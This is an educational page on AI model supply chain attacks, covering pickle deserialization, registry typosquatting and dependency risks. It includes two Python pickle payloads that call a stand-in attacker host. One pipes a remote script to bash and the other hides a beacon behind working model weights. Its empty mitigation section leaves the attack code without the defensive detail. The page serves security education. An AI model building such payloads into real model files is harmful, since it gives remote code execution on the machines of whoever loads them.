Model Supply Chain Risks

Attack vectors in the AI model supply chain, including malicious model files, pickle exploits, compromised model registries, and dependency vulnerabilities.

The AI model supply chain — the path from model training to production deployment — contains critical attack vectors. Downloading and loading a model file is functionally equivalent to running untrusted code, yet many organizations treat model files as inert data. The most dangerous vector is pickle deserialization, which enables arbitrary code execution.

Model Serialization Formats

Pickle Exploits

Python's pickle module can serialize arbitrary Python objects, including executable code. A malicious pickle file runs code when loaded:

import pickle
import os
 
class MaliciousModel:
    def __reduce__(self):
        # This code executes when the pickle is loaded
        return (os.system, ("curl https://attacker.example.com/shell.sh | bash",))
 
# Save the malicious "model"
with open("model.pt", "wb") as f:
    pickle.dump(MaliciousModel(), f)
 
# When someone loads this "model":
# model = torch.load("model.pt")  # Executes the reverse shell

Realistic Attack Scenario

1. Attacker creates a legitimate-looking model on HuggingFace
2. The model file includes a pickle payload alongside real weights
3. A researcher or ML pipeline downloads and loads the model
4. The payload executes: reverse shell, crypto miner, data exfiltration

# More sophisticated payload that preserves model functionality
class TrojanedModel:
    def __reduce__(self):
        # Execute payload AND return a working model
        return (self._load_with_backdoor, ("real_weights.pt",))
 
    @staticmethod
    def _load_with_backdoor(weights_path):
        # Run malicious code silently
        import subprocess
        subprocess.Popen(["curl", "-s", "https://attacker.example.com/beacon"],
                        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        # Return a real working model so nothing looks wrong
        import torch
        return torch.load(weights_path, weights_only=True)

Registry and Distribution Attacks

HuggingFace Hub

The largest model registry has specific attack surfaces:

• Typosquatting — Register model names similar to popular models (meta-Ilama/Llama-3.1-8B vs meta-llama/Llama-3.1-8B)
• Namespace confusion — Exploit user expectations about official vs. community models
• Version manipulation — Push a malicious update to a previously legitimate model
• README social engineering — Craft convincing model cards that encourage unsafe loading practices

Dependency Attacks

AI libraries have deep dependency trees that can be targeted:

# Typical AI project dependencies (simplified)
# torch → numpy, pillow, triton
# transformers → tokenizers, safetensors, huggingface_hub
# langchain → openai, tiktoken, pydantic
# Each dependency is a potential supply chain target

Mitigation Awareness

Understanding defenses helps red teamers identify gaps:

Related Topics

• AI Infrastructure Security Overview -- broader infrastructure attack surface context
• Supply Chain Deep Dive -- advanced supply chain exploitation techniques
• Pickle Exploits -- detailed pickle deserialization attacks
• Training Data Attacks -- poisoning models via their training data supply chain
• Deployment Attacks -- securing the deployment environment models are loaded into

References

• Gu et al., "BadNets: Identifying Vulnerabilities in the Machine Learning Model Supply Chain" (2019) -- foundational ML supply chain attack research
• HuggingFace, "Safetensors: A Simple, Safe Serialization Format" (2023) -- the safe alternative to pickle
• Kumar et al., "Emerging Supply Chain Attacks Against Open-Source AI/ML" (2024) -- taxonomy of real-world ML supply chain attacks